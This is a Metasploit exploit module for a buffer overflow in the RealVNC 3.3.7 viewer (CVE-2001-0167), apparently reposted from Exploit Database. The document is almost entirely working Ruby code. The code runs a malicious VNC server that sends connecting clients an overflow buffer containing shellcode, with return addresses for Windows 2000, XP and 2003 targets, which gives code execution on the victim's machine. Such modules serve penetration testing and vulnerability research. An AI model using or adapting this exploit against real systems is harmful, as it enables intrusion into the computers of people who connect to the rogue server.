RealVNC 3.3.7 – Client Buffer Overflow (Metasploit)

• Exploit Database
• 31 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16489/

• ##
  # $Id: realvnc_client.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'RealVNC 3.3.7 Client Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2001-0167' ],
  					[ 'OSVDB', '6281' ],
  					[ 'BID', '2305' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
  					'MaxNops'=> 0,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x7c2ec68b } ],
  					[ 'Windows XP SP2 English',	{ 'Ret' => 0x77dc15c0 } ],
  					[ 'Windows 2003 SP1 English',	{ 'Ret' => 0x76aa679b } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jan 29 2001',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
  			], self.class)
  	end
  
  	def on_client_connect(client)
  
  		rfb = "RFB 003.003\n"
  
  		client.put(rfb)
  	end
  
  	def on_client_data(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		filler = make_nops(993 - payload.encoded.length)
  
  		sploit ="\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded
  		sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')
  		sploit << rand_text_english(200)
  
  		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
  		client.put(sploit)
  
  		handler
  		service.close_client(client)
  	end
  
  end